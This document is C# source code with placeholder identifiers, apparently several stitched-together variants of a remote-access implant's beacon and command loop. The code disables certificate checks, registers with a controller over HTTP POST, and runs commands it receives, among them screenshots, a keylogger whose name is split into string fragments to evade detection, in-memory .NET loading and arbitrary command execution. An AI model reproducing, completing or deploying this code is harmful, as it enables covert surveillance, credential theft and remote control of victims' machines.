protected static VAR2 VAR24(string VAR33) { var VAR34 = new JavaScriptSerializer(); VAR2 VAR35 = VAR34.Deserialize <VAR2> (VAR33); return(VAR35); }
public static void VAR13(string VAR14, string VAR15, string VAR16) { ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); }); VAR7 = VAR14; VAR8 = VAR37(16); VAR9 = Encoding.ASCII.GetBytes(VAR15); VAR10 = 1000; Process VAR17 = Process.GetCurrentProcess(); VAR12 = VAR17.Id; try { VAR10 = Convert.ToInt32(VAR16); } catch { } bool VAR18 = false; string VAR19 = String.Format("register {0} {1}", VAR8, VAR20()); VAR11 = Environment.OSVersion.ToString(); VAR21(VAR19, null); while (!VAR18) { try { Thread.Sleep(VAR10); string VAR22 = VAR21(null, null); VAR2 VAR23 = VAR24(VAR22); if (VAR23.UUID != null) { VAR23.Data = VAR25(VAR23.Data); string[] VAR26 = VAR27(VAR23.Data); if (VAR26[0].Equals("delay")) { VAR10 = Convert.ToInt32(VAR26[1]); } else if (VAR26[0].Equals("exit")) { VAR18 = true; } else if (VAR26[0].Equals("screenshot")) { VAR204(); } else if (VAR26[0].Equals("klog")) { Thread VAR103 = new Thread(() => VAR104()); VAR103.Start(); } else { Thread VAR29 = new Thread(() => VAR28(VAR23.Data, VAR23.UUID)); VAR29.Start(); } } } catch { } } }
protected static VAR2 VAR24(string VAR33) { var VAR34 = new JavaScriptSerializer(); VAR34.MaxJsonLength = Int32.MaxValue; VAR2 VAR35 = VAR34.Deserialize <VAR2>(VAR33); return(VAR35); }
public static string VAR21(string VAR55, string VAR56) { byte[] VAR57; if (VAR55 != null) { VAR57 = VAR16.VAR28(VAR9, Encoding.ASCII.GetBytes(VAR55)); } else { VAR57 = new byte[0]; } string VAR58 = String.Format("{0}/{1}/", VAR7, VAR37(0)); HttpWebRequest VAR59 = (HttpWebRequest)WebRequest.Create(VAR58); VAR59.Method = "POST"; VAR59.UserAgent = VAR11; VAR59.Timeout = 10000; VAR59.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; Stream VAR60 = null; StreamReader VAR61 = null; string VAR62; string VAR63 = ""; if (VAR57.Length > 0) { VAR63 = Convert.ToBase64String(VAR57); } VAR2 VAR64 = new VAR2 { UUID = VAR56, ID = VAR8, Data = VAR63 }; var VAR65 = new JavaScriptSerializer(); var VAR66 = VAR65.Serialize(VAR64).ToString(); VAR59.ContentType = "application/json"; try { VAR60 = VAR59.GetRequestStream(); VAR60.Write(Encoding.ASCII.GetBytes(VAR66), 0, VAR66.Length); } finally { if (VAR60 != null) { VAR60.Dispose(); } } try { VAR60 = VAR59.GetResponse().GetResponseStream(); VAR61 = new StreamReader(VAR60); VAR62 = VAR61.ReadToEnd(); } catch { VAR62 = ""; } return(VAR62.ToString()); }
public static void VAR13(string VAR14, string VAR15, string VAR16) { VAR7 = VAR14; VAR8 = VAR37(16); VAR9 = Encoding.ASCII.GetBytes(VAR15); VAR10 = 100; Process VAR17 = Process.GetCurrentProcess(); VAR12 = VAR17.Id; try { VAR10 = Convert.ToInt32(VAR16); } catch {} bool VAR18 = false; string VAR19 = String.Format("register {0} {1}", VAR8, VAR20()); VAR11 = Environment.OSVersion.ToString(); VAR21(VAR19, null); while (!VAR18) { try { Thread.Sleep(VAR10); string VAR22 = VAR21(null, null); VAR2 VAR23 = VAR24(VAR22); if (VAR23.UUID != null) { VAR23.Data = VAR25(VAR23.Data); string[] VAR26 = VAR27(VAR23.Data); if (VAR26[0].Equals("delay")) { VAR10 = Convert.ToInt32(VAR26[1]); } else if (VAR26[0].Equals("exit")) { VAR18 = true; } else { Thread VAR29 = new Thread(() => VAR28(VAR23.Data, VAR23.UUID)); VAR29.Start(); } } } catch {} } }
protected static void VAR13(string VAR14, string VAR15, string VAR16) { ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); }); VAR7 = VAR14; VAR8 = VAR37(16); VAR9 = Encoding.ASCII.GetBytes(VAR15); VAR10 = 1000; Process VAR17 = Process.GetCurrentProcess(); VAR12 = VAR17.Id; try { VAR10 = Convert.ToInt32(VAR16); } catch { } bool VAR18 = false; string VAR19 = String.Format("register {0} {1}", VAR8, VAR20()); VAR11 = Environment.OSVersion.ToString(); VAR21(VAR19, null); Thread VAR103 = new Thread(() => VAR104()); while (!VAR18) { VAR2 VAR23 = new VAR2(); try { Thread.Sleep(VAR10); string VAR22 = VAR21(null, null); VAR23 = VAR24(VAR22); if (VAR23.UUID != null) { VAR23.Data = VAR25(VAR23.Data); string[] VAR26 = VAR27(VAR23.Data); if (VAR26[0].Equals("delay")) { VAR10 = Convert.ToInt32(VAR26[1]); } else if (VAR26[0].Equals("exit")) { VAR18 = true; } else if (VAR26[0].Equals("screenshot")) { VAR204(); } else if (VAR26[0].Equals("ke" + "y" + "lo" + "gger" + "-start")) { VAR103.Start(); } else if (VAR26[0].Equals("ke" + "y" + "lo" + "gger" + "-stop")) { if (VAR103.IsAlive) { VAR103.Abort(); } } else if (VAR26[0].Equals("do" + "tn" + "et")) { Thread VAR29 = new Thread(() => VAR122(VAR26[1], VAR23.UUID)); VAR29.Start(); } else { Thread VAR29 = new Thread(() => VAR28(VAR23.Data, VAR23.UUID)); VAR29.Start(); } } } catch (Exception VAR133) { VAR21(Convert.ToBase64String(Encoding.UTF8.GetBytes(VAR133.Message)), VAR23.UUID); } } }